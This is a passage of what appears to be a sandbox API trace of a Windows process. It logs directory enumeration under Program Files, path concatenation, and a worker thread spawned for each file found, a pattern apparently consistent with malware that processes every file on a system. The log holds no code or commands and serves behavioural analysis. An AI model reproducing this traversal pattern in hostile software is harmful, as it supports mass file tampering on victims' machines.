OLEDB\\10\\Cartridges\\*" [0154.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec44f0 [0154.323] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d310 [0154.326] wcscmp (_String1=".", _String2=".") returned 0 [0154.326] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.326] wcscmp (_String1="..", _String2=".") returned 1 [0154.326] wcscmp (_String1="..", _String2="..") returned 0 [0154.326] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0154.326] wcscmp (_String1="as80.xsl", _String2=".") returned 1 [0154.326] wcscmp (_String1="as80.xsl", _String2="..") returned 1 [0154.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd64f20 [0154.326] wcscpy (in: _Dest=0x1cd64f20, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0154.326] wcscat (in: _Dest=0x1cd64f20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0154.326] wcscat (in: _Dest=0x1cd64f20, _Source="as80.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" [0159.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64f20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0159.302] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0159.302] wcscmp (_String1="as90.xsl", _String2=".") returned 1 [0159.302] wcscmp (_String1="as90.xsl", _String2="..") returned 1 [0159.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ac4d0 [0159.302] wcscpy (in: _Dest=0x202ac4d0, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0159.302] wcscat (in: _Dest=0x202ac4d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0159.303] wcscat (in: _Dest=0x202ac4d0, _Source="as90.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" [0159.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac4d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2790 [0159.312] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0159.312] wcscmp (_String1="Informix.xsl", _String2=".") returned 1 [0159.312] wcscmp (_String1="Informix.xsl", _String2="..") returned 1 [0159.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1076c0 [0159.313] wcscpy (in: _Dest=0x1076c0, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0159.313] wcscat (in: _Dest=0x1076c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0159.313] wcscat (in: _Dest=0x1076c0, _Source="Informix.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" [0159.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1076c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2794 [0159.314] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0159.314] wcscmp (_String1="msjet.xsl", _String2=".") returned 1 [0159.314] wcscmp (_String1="msjet.xsl", _String2="..") returned 1 [0159.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ace70 [0159.314] wcscpy (in: _Dest=0x202ace70, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0159.314] wcscat (in: _Dest=0x202ace70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0159.314] wcscat (in: _Dest=0x202ace70, _Source="msjet.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" [0159.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ace70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2798 [0159.316] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0159.316] wcscmp (_String1="sql2000.xsl", _String2=".") returned 1 [0159.316] wcscmp (_String1="sql2000.xsl", _String2="..") returned 1 [0159.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107240 [0159.316] wcscpy (in: _Dest=0x107240, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0159.316] wcscat (in: _Dest=0x107240, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0159.316] wcscat (in: _Dest=0x107240, _Source="sql2000.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" [0159.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x279c [0159.317] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0159.317] wcscmp (_String1="sql70.xsl", _String2=".") returned 1 [0159.317] wcscmp (_String1="sql70.xsl", _String2="..") returned 1 [0159.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202add90 [0159.318] wcscpy (in: _Dest=0x202add90, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0159.318] wcscat (in: _Dest=0x202add90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0159.318] wcscat (in: _Dest=0x202add90, _Source="sql70.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" [0159.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202add90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27a0 [0159.319] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0159.319] wcscmp (_String1="sql90.xsl", _String2=".") returned 1 [0159.319] wcscmp (_String1="sql90.xsl", _String2="..") returned 1 [0159.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac9a0 [0159.319] wcscpy (in: _Dest=0x202ac9a0, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0159.319] wcscat (in: _Dest=0x202ac9a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0159.319] wcscat (in: _Dest=0x202ac9a0, _Source="sql90.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" [0159.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27a4 [0159.321] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0159.321] wcscmp (_String1="Sybase.xsl", _String2=".") returned 1 [0159.321] wcscmp (_String1="Sybase.xsl", _String2="..") returned 1 [0159.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106700 [0159.321] wcscpy (in: _Dest=0x106700, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0159.321] wcscat (in: _Dest=0x106700, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0159.321] wcscat (in: _Dest=0x106700, _Source="Sybase.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" [0159.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x106700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27a8 [0159.323] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0159.323] FindClose (in: hFindFile=0x1cd9d310 | out: hFindFile=0x1cd9d310) returned 1 [0159.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec44f0) returned 1 [0159.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205deb0) returned 1 [0159.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d9b0) returned 1 Thread: id = 2473 os_tid = 0x1f18 [0154.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205c6f0 [0154.327] wcscpy (in: _Dest=0x4205c6f0, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" [0154.327] wcscat (in: _Dest=0x4205c6f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\" [0154.328] wcscat (in: _Dest=0x4205c6f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*" [0154.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec4010 [0154.328] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x1cec4010 | out: lpFindFileData=0x1cec4010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d0d0 [0154.328] wcscmp (_String1=".", _String2=".") returned 0 [0154.328] FindNextFileW (in: hFindFile=0x1cd9d0d0, lpFindFileData=0x1cec4010 | out: lpFindFileData=0x1cec4010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.328] wcscmp (_String1="..", _String2=".") returned 1 [0154.328] wcscmp (_String1="..", _String2="..") returned 0 [0154.328] FindNextFileW (in: hFindFile=0x1cd9d0d0, lpFindFileData=0x1cec4010 | out: lpFindFileData=0x1cec4010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0154.328] wcscmp (_String1="1033", _String2=".") returned 1 [0154.328] wcscmp (_String1="1033", _String2="..") returned 1 [0154.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd65340 [0154.328] wcscpy (in: _Dest=0x1cd65340, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" [0154.328] wcscat (in: _Dest=0x1cd65340, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\" [0154.328] wcscat (in: _Dest=0x1cd65340, _Source="1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" [0159.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd65340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x137c [0159.021] FindNextFileW (in: hFindFile=0x1cd9d0d0, lpFindFileData=0x1cec4010 | out: lpFindFileData=0x1cec4010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0159.021] FindClose (in: hFindFile=0x1cd9d0d0 | out: hFindFile=0x1cd9d0d0) returned 1 [0159.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec4010) returned 1 [0159.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c6f0) returned 1 [0159.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b14b0) returned 1 Thread: id = 2474 os_tid = 0x1f1c [0154.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1ced2ad0 [0154.330] wcscpy (in: _Dest=0x1ced2ad0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14" [0154.330] wcscat (in: _Dest=0x1ced2ad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\" [0154.330] wcscat (in: _Dest=0x1ced2ad0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*" [0154.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec4c40 [0154.330] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", lpFindFileData=0x1cec4c40 | out: lpFindFileData=0x1cec4c40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d9d0 [0154.331] wcscmp (_String1=".", _String2=".") returned 0 [0154.331] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x1cec4c40 | out: lpFindFileData=0x1cec4c40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.331] wcscmp (_String1="..", _String2=".") returned 1 [0154.331] wcscmp (_String1="..", _String2="..") returned 0 [0154.331] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x1cec4c40 | out: lpFindFileData=0x1cec4c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1 [0154.331] wcscmp (_String1="Built-In Building Blocks.dotx", _String2=".") returned 1 [0154.331] wcscmp (_String1="Built-In Building Blocks.dotx", _String2="..") returned 1 [0154.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x118f00 [0154.331] wcscpy (in: _Dest=0x118f00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14" [0154.331] wcscat (in: _Dest=0x118f00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\" [0154.331] wcscat (in: _Dest=0x118f00, _Source="Built-In Building Blocks.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx" [0159.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x118f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc [0159.025] FindNextFileW (in: hFindFile=0x1cd9d9d0, lpFindFileData=0x1cec4c40 | out: lpFindFileData=0x1cec4c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, 